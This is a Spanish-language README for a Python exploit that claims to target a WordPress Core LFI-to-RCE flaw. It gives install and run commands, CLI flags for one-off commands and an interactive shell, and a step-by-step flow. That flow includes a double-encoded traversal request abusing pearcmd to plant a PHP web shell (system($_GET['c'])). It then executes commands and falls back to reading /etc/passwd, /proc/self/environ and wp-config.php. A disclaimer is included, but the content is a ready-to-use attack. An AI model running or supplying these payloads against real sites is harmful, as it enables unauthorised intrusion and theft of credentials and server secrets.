Exploit en Python para CVE-2026-87902, una cadena LFI-to-RCE de WordPress Core. Identifica versiones, escribe un shell PHP mediante pearcmd y proporciona ejecución de comandos o un fallback de LFI.
⚠️ ADVERTENCIA LEGAL Usarlo contra sistemas que no posees o para los que no tienes permiso por escrito para probar es ilegal y punible bajo las leyes de delitos informáticos. El autor no asume ninguna responsabilidad por el mal uso.
| Campo | Valor |
|---|
| CVE | CVE-2026-87902 |
| Tipo | Inclusión Local de Archivos (LFI) → Ejecución Remota de Código (RCE) |
| CWE | CWE-98 |
| CVSS v3.1 | 9.2 (Crítico) |
| Vector de ataque | Red (No autenticado) |
| Afecta a | WordPress 4.7.0 – 7.1.1 |
| Parcheado | WordPress 7.1.2 (y backports hasta 4.7.37) |
| Causa raíz | get_page_template() no llama a validate_file() después de decodificar la URL del parámetro pagename, permitiendo un traversal con doble codificación (%252E%252E%252F) para eludir el saneamiento e incluir archivos .php arbitrarios fuera del directorio del tema. |
Para un RCE completo, todas las siguientes condiciones deben cumplirse:
page-* de nivel superior (por ejemplo, page-templates/)pearcmd.php está presente y es legible por el usuario del servidor web (por defecto en las imágenes oficiales de PHP Docker y en muchas instalaciones de cPanel con PHP < 8.5)register_argc_argv=On (por defecto en PHP < 8.5)Si falta alguna de estas, el exploit recurrirá a lectura de archivos solo por LFI.
exploit.py # Script de exploit principal README.md # Este archivo report.json # (opcional) Informe de salida cuando se usa -o
Instalación:
apt update
apt upgrade
apt install python
apt install git
pip install requests
git clone https://github.com/zyphorixofficialmain-lab/cve-2026-87902
cd cve-2026-87902
python3 exploit.py -t https://site.com -v
Esto hará lo siguiente:
· Huella de la versión de WordPress y el tema activo · Verificar el rango de versiones vulnerables · Localizar el ID de una página publicada (REST → sitemap → fuerza bruta) · Intentar escribir un shell PHP mediante pearcmd.php · Intentar incluir el shell y ejecutar id · Si el RCE falla, recurrir a LFI sobre archivos sensibles
python3 exploit.py -t https://site.com -c "id"
python3 exploit.py -t https://site.com -i -v
Dentro del shell:
wp$ id
wp$ uname -a
wp$ cat /etc/passwd
wp$ exit
python3 exploit.py -t https://site.com -o report.json -v
python3 exploit.py -t https://site.com -c "whoami" -o report.json -v
🧾 Referencia de CLI
Flag Long Description -t --target Obligatorio. URL de WordPress objetivo (sin barra final). -c --command Ejecutar un solo comando de shell después del RCE. -i --interactive Abrir un shell interactivo después del RCE. -v --verbose Imprimir el progreso detallado. -o --output Guardar el informe final como JSON en la ruta indicada. -h --help Mostrar ayuda.
🔄 Flujo del exploit
[1] Fingerprint
├─ WordPress version (meta generator / asset ?ver=)
└─ Active theme (/wp-content/themes/<name>/)
[2] Version check
└─ 4.7.0 – 7.1.1 ? continue : warn & continue
[3] Find page ID
├─ REST: /wp-json/wp/v2/pages
├─ Sitemap: /wp-sitemap.xml
└─ Brute force: /?page_id=1..30
[4] Check page-* directory
├─ page-templates
├─ page-template
├─ pages
├─ templates
└─ page
[5] Write shell via pearcmd
└─ POST /?+config-create+/&page_id=<id>&pagename=templates%252F..%252F..%252Fusr%252Flocal%252Flib%252Fphp%252Fpearcmd
body: root=<?php system($_GET['c']); ?>
[6] Include shell
└─ GET /?page_id=<id>&pagename=templates%252F..%252F..%252Ftmp%252F<shell>.php&c=id
[7] Fallback LFI (if RCE fails)
├─ /etc/passwd
├─ /etc/hostname
├─ /proc/self/environ
├─ /proc/version
├─ wp-config.php
└─ ../.. variants